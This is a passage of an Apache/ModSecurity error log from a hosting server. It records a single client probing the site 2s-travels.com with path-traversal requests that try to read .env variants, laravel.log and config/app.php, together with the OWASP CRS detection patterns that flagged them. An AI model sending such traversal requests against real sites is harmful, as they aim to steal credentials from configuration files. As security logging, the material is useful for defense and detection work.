"almgk6quHSHoCJK_V0SBSQAAABs"]
[Fri Jul 17 08:55:07.064637 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../../../../.env&anything=wuhgs_k7ruu8g4sv2jgnxugraoff9tkwimbd5lk7r442p--6ppebtg3ggutpvc_b_l49xkcqqr8m1v1y-slrw9he_vmmgetrwyq8fr4pyffcheowlvwmhv_ddsceijoel6oy5limnnsfox59fufrjkhpigfgpsadxdqezm4sf8d0k-lx-mvbk7bh1ks_ixdksykmjalkhnsc3tbivcvirqouu1comwofp5z8kjyponi8se84krz0rkffk7wepoagbs-bcyawtbl-xufh_eoiqj-k&junk=phdx3x2nshwcj343jmwf5t6spoxc77h57xeicf3houmzx5w46cdqbnuhos6rkoijsq33gpxh7dyb2pbwmujxpehfrgz5775fzbhqazoudio6grc6l5bmcjj535gax4dlxailj4godbxvmpp..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSQAAABs"]
[Fri Jul 17 08:55:07.064757 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSQAAABs"]
[Fri Jul 17 08:55:07.064896 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSQAAABs"]
[Fri Jul 17 08:55:07.066848 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSQAAABs"]
[Fri Jul 17 08:55:07.067310 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.067838 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBSQAAABs"]
[Fri Jul 17 08:55:07.070409 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?dir=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&junk=02Rd83BL1nXqhYqiL83I6yM_FEssE7xoIILae6z7YZM4KgSKi5S3kb6SGkAVl07dgNqDLEgqNJFS6M_IuDNYEVIrVdjWfuUaLjWkdGel6l0JhwWOJdOHfGvo3dHWJfA2Wr9GqtTolYynjdp5TE5JRBP8h2zRrjQXlkitWKwTAc2Snmmr5UATnXWr9eCjuSnO8C1KJEfX0jav5r3y4uq0Y_j5m7epJLNRRXQh3Va0gYRYKJUbTDyxy1SUr_bMie81VpjDxhZriXrJEUFXle6RUb4X&ts=GQGC75VHXMKTVCDR7VCHXW3PNBD7TG6GNRFZNUYW2RL5UQIHL4NCZJHD57G3HOYOQDQUKFQGPHNXJNJ4VKEVS2VTOTN5CEBIAE6SZ3FNISIU557F2QR2N..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pQAAAAw"]
[Fri Jul 17 08:55:07.070466 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pQAAAAw"]
[Fri Jul 17 08:55:07.070521 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../../storage/logs/laravel.log&junk=02Rd83BL1nXqhYqiL83I6yM_FEssE7xoIILae6z7YZM4KgSKi5S3kb6SGkAVl07dgNqDLEgqNJFS6M_IuDNYEVIrVdjWfuUaLjWkdGel6l0JhwWOJdOHfGvo3dHWJfA2Wr9GqtTolYynjdp5TE5JRBP8h2zRrjQXlkitWKwTAc2Snmmr5UATnXWr9eCjuSnO8C1KJEfX0jav5r3y4uq0Y_j5m7epJLNRRXQh3Va0gYRYKJUbTDyxy1SUr_bMie81VpjDxhZriXrJEUFXle6RUb4X&ts=GQGC75VHXMKTVCDR7VCHXW3PNBD7TG6GNRFZNUYW2RL5UQIHL4NCZJHD57G3HOYOQDQUKFQGPHNXJNJ4VKEVS2VTOTN5CEBIAE6SZ3FNISIU557F2QR2NYIN72BYQGO7VBNP7CZ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pQAAAAw"]
[Fri Jul 17 08:55:07.070552 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../../storage/logs/laravel.log&junk=02rd83bl1nxqhyqil83i6ym_fesse7xoiilae6z7yzm4kgski5s3kb6sgkavl07dgnqdlegqnjfs6m_iudnyevirvdjwfuualjwkdgel6l0jhwwojdohfgvo3dhwjfa2wr9gqttolyynjdp5te5jrbp8h2zrrjqxlkitwkwtac2snmmr5uatnxwr9ecjusno8c1kjefx0jav5r3y4uq0y_j5m7epjlnrrxqh3va0gyrykjubtdyxy1sur_bmie81vpjdxhzrixrjeufxle6rub4x&ts=gqgc75vhxmktvcdr7vchxw3pnbd7tg6gnrfznuyw2rl5uqihl4nczjhd57g3hoyoqdqukfqgphnxjnj4vkevs2vtotn5cebiae6sz3fnisiu557f2qr2nyin72byqgo7vbnp7cz..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pQAAAAw"]
[Fri Jul 17 08:55:07.070574 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pQAAAAw"]
[Fri Jul 17 08:55:07.070600 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pQAAAAw"]
[Fri Jul 17 08:55:07.071798 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pQAAAAw"]
[Fri Jul 17 08:55:07.071963 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.072236 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95pQAAAAw"]
[Fri Jul 17 08:55:07.073274 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSgAAABs"]
[Fri Jul 17 08:55:07.073382 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSgAAABs"]
[Fri Jul 17 08:55:07.074592 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSgAAABs"]
[Fri Jul 17 08:55:07.075130 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.075508 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBSgAAABs"]
[Fri Jul 17 08:55:07.078893 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pgAAAAw"]
[Fri Jul 17 08:55:07.078935 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pgAAAAw"]
[Fri Jul 17 08:55:07.080217 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pgAAAAw"]
[Fri Jul 17 08:55:07.080506 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.080883 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95pgAAAAw"]
[Fri Jul 17 08:55:07.081993 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCQAAAAM"]
[Fri Jul 17 08:55:07.082162 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.082511 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkxHlOGcokz2QIwTTCQAAAAM"]
[Fri Jul 17 08:55:07.100764 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXAAAABI"]
[Fri Jul 17 08:55:07.100808 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXAAAABI"]
[Fri Jul 17 08:55:07.100873 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSwAAABs"]
[Fri Jul 17 08:55:07.100918 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSwAAABs"]
[Fri Jul 17 08:55:07.101862 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pwAAAAw"]
[Fri Jul 17 08:55:07.101896 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pwAAAAw"]
[Fri Jul 17 08:55:07.101955 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:dir: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pwAAAAw"]
